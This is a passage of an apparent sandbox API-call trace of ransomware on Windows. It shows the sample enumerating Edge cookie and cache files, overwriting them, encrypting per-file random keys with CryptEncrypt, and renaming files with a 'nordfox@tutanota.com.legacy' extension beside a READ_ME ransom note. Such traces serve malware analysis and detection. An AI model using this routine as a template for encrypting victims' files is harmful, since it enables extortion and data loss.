hFile=0x1ba4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.100] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.100] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.100] WriteFile (in: hFile=0x1ba4, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.101] WriteFile (in: hFile=0x1ba4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.101] CloseHandle (hObject=0x1ba4) returned 1 [0193.101] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.104] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33b70a8f, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d47f0 [0193.104] SetLastError (dwErrCode=0x0) [0193.104] GetLastError () returned 0x0 [0193.104] SetLastError (dwErrCode=0x0) [0193.104] GetLastError () returned 0x0 [0193.104] SetLastError (dwErrCode=0x0) [0193.104] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33b70a8f, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] GetLastError () returned 0x0 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] GetLastError () returned 0x0 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffb36a7, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x2ffb36a7, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x2ffb36a7, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x237, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0Z215X0U.cookie", cAlternateFileName="0Z215X~1.COO")) returned 1 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] GetLastError () returned 0x0 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] GetLastError () returned 0x0 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b4a89e, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x33b4a89e, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x33b4a89e, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1IOSUXS4.cookie", cAlternateFileName="1IOSUX~1.COO")) returned 1 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] GetLastError () returned 0x0 [0193.105] SetLastError (dwErrCode=0x0) [0193.105] GetLastError () returned 0x0 [0193.105] SetLastError (dwErrCode=0x0) [0193.106] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x319ce0a9, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x319ce0a9, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x319ce0a9, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="51HBQ3DH.cookie", cAlternateFileName="51HBQ3~1.COO")) returned 1 [0193.106] SetLastError (dwErrCode=0x0) [0193.106] GetLastError () returned 0x0 [0193.106] SetLastError (dwErrCode=0x0) [0193.106] GetLastError () returned 0x0 [0193.106] SetLastError (dwErrCode=0x0) [0193.106] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31cb439d, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x31cb439d, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x31cb439d, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="5WBGHGR8.cookie", cAlternateFileName="5WBGHG~1.COO")) returned 1 [0193.106] SetLastError (dwErrCode=0x0) [0193.106] GetLastError () returned 0x0 [0193.106] SetLastError (dwErrCode=0x0) [0193.106] GetLastError () returned 0x0 [0193.106] SetLastError (dwErrCode=0x0) [0193.106] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3feac643, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3feac643, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3feac643, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="90T5B7AZ.cookie", cAlternateFileName="90T5B7~1.COO")) returned 1 [0193.106] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd310047d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd310047d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd310529d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AFIOGFFU.txt", cAlternateFileName="")) returned 1 [0193.106] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12f9d52c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f9d52c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12f9d52c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.106] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3feac643, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3feac643, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3feac643, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="K95028HZ.cookie", cAlternateFileName="K95028~1.COO")) returned 1 [0193.107] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3feac643, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3feac643, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3feac643, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="MRQZFTTG.cookie", cAlternateFileName="MRQZFT~1.COO")) returned 1 [0193.107] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fda15bb, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3fda15bb, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3fda15bb, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="NYUV1AKA.cookie", cAlternateFileName="NYUV1A~1.COO")) returned 1 [0193.107] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a33141, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x30a33141, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x30a3cd81, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="O87TPGUC.cookie", cAlternateFileName="O87TPG~1.COO")) returned 1 [0193.107] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32ae9cf5, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x32ae9cf5, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x32ae9cf5, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="QJMDM6WR.cookie", cAlternateFileName="QJMDM6~1.COO")) returned 1 [0193.107] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.107] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x325efee7, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x325efee7, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x325efee7, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="YJ6N2CFF.cookie", cAlternateFileName="YJ6N2C~1.COO")) returned 1 [0193.107] FindNextFileW (in: hFindFile=0x30d47f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x325efee7, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x325efee7, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x325efee7, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="YJ6N2CFF.cookie", cAlternateFileName="YJ6N2C~1.COO")) returned 0 [0193.107] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d980 | out: pbBuffer=0x60d980) returned 1 [0193.107] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.107] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\YJ6N2CFF.cookie", dwFileAttributes=0x80) returned 1 [0193.108] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\YJ6N2CFF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\yj6n2cff.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.108] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=604) returned 1 [0193.108] ReadFile (in: hFile=0x1ba8, lpBuffer=0x564d08, nNumberOfBytesToRead=0x25c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564d08*, lpNumberOfBytesRead=0x2e1f9bc*=0x25c, lpOverlapped=0x0) returned 1 [0193.113] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.113] WriteFile (in: hFile=0x1ba8, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x25c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25c, lpOverlapped=0x0) returned 1 [0193.113] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25c [0193.113] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.113] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d980*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d980*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.113] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60d980*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.113] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.113] CloseHandle (hObject=0x1ba8) returned 1 [0193.115] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0193.115] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.115] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\QJMDM6WR.cookie", dwFileAttributes=0x80) returned 1 [0193.116] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\QJMDM6WR.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\qjmdm6wr.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.116] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=456) returned 1 [0193.116] ReadFile (in: hFile=0x1ba8, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c8, lpOverlapped=0x0) returned 1 [0193.117] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.117] WriteFile (in: hFile=0x1ba8, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c8, lpOverlapped=0x0) returned 1 [0193.117] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c8 [0193.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.118] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.118] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.118] CloseHandle (hObject=0x1ba8) returned 1 [0193.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60cc18 | out: pbBuffer=0x60cc18) returned 1 [0193.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.120] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\O87TPGUC.cookie", dwFileAttributes=0x80) returned 1 [0193.120] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\O87TPGUC.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\o87tpguc.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.121] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=429) returned 1 [0193.121] ReadFile (in: hFile=0x1ba8, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ad, lpOverlapped=0x0) returned 1 [0193.122] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-429, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.122] WriteFile (in: hFile=0x1ba8, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1ad, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ad, lpOverlapped=0x0) returned 1 [0193.122] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ad [0193.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60cc18*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60cc18*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.122] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60cc18*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cc18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.123] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.123] CloseHandle (hObject=0x1ba8) returned 1 [0193.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d140 | out: pbBuffer=0x60d140) returned 1 [0193.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.124] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\NYUV1AKA.cookie", dwFileAttributes=0x80) returned 1 [0193.127] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\NYUV1AKA.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\nyuv1aka.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.127] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=197) returned 1 [0193.127] ReadFile (in: hFile=0x1ba8, lpBuffer=0x582e88, nNumberOfBytesToRead=0xc5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582e88*, lpNumberOfBytesRead=0x2e1f9bc*=0xc5, lpOverlapped=0x0) returned 1 [0193.128] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-197, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.128] WriteFile (in: hFile=0x1ba8, lpBuffer=0x582668*, nNumberOfBytesToWrite=0xc5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582668*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc5, lpOverlapped=0x0) returned 1 [0193.128] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc5 [0193.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d140*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d140*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.129] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60d140*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.129] CloseHandle (hObject=0x1ba8) returned 1 [0193.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0193.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.130] SetFileAttributesW 